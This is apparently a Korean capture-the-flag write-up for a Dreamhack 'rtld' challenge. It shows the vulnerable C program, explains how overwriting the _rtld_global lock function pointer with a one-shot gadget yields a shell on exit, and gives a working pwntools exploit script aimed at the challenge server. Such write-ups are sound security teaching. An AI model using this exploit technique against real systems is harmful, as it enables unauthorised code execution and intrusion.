๋ฌธ์ œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// gcc -o rtld rtld.c -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

 

๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๋จผ์ € ํ™•์ธํ•ด์ฃผ์—ˆ๋‹ค.

Partial RELRO์ด๋ฏ€๋กœ GOT overwrite์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

 

 

์ฝ”๋“œ ๋ถ„์„ 

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

mainํ•จ์ˆ˜๋ฅผ ์‚ดํŽด๋ณด๋ฉด stdout ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

_rtld_global_dl_rtld_lock_recursive์„ oneshot gadget์˜ ์ฃผ์†Œ๋กœ ๋ฎ์œผ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

_rtld_global_dl_rtld_lock_recursive : ํ•จ์ˆ˜ ์ฃผ์†Œ

_rtld_global_dl_rtld_lock : ํ•จ์ˆ˜ ์ธ์ž

_rtld_global_lock_recursive์— ์žˆ๋Š” Libc ์ฃผ์†Œ๋ฅผ one gadget์œผ๋กœ ๋ฎ์œผ๋ฉด exit ๋  ๋•Œ one gadget์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

_Gl_exit ํ•จ์ˆ˜๋Š” _run_exit_handlers๋ฅผ ํ˜ธ์ถœํ•˜๋Š”๋ฐ, _run_exit_handlers๋Š” Id.so์— ์กด์žฌํ•˜๋Š” _dl._fini๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

 

 

_di_fini

void
_dl_fini (void)
{
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

_di_fini ํ•จ์ˆ˜๋Š” _rtld_lock_lock_recursive ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

์ด ํ•จ์ˆ˜์™€ ์ธ์ž๋Š” _rtld_global ๊ตฌ์กฐ์ฒด์˜ ๋ฉค๋ฒ„์ด๋‹ค.

_rtld_global ๊ตฌ์กฐ์ฒด๊ฐ€ ์œ„์น˜ํ•œ ์˜์—ญ์€ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์–ด์„œ _rtld_lock_lock_recursive ํ•จ์ˆ˜๋ฅผ system์œผ๋กœ, _dl_load_lock์ธ์ž๋ฅผ 'sh'๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์œผ๋ฉด system('sh') ํ˜ธ์ถœ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

 

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ

from pwn import *

p = remote('host3.dreamhack.games', 12058)
stdout_offset = 0x3c5620
oneshot_offset = 0xf1147
rtld_global_offset = 0x5f0040

p.recvuntil('stdout: 0x')
stdout = int(p.recvline()[:-1], 16) 
libc = stdout - stdout_offset    # libc base
oneshot = libc + oneshot_offset  # oneshot gadget
rtld_global = libc + rtld_global_offset

p.sendlineafter('addr: ', str(rtld_global + 3848))
p.sendlineafter('value: ', str(oneshot))

p.interactive()

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!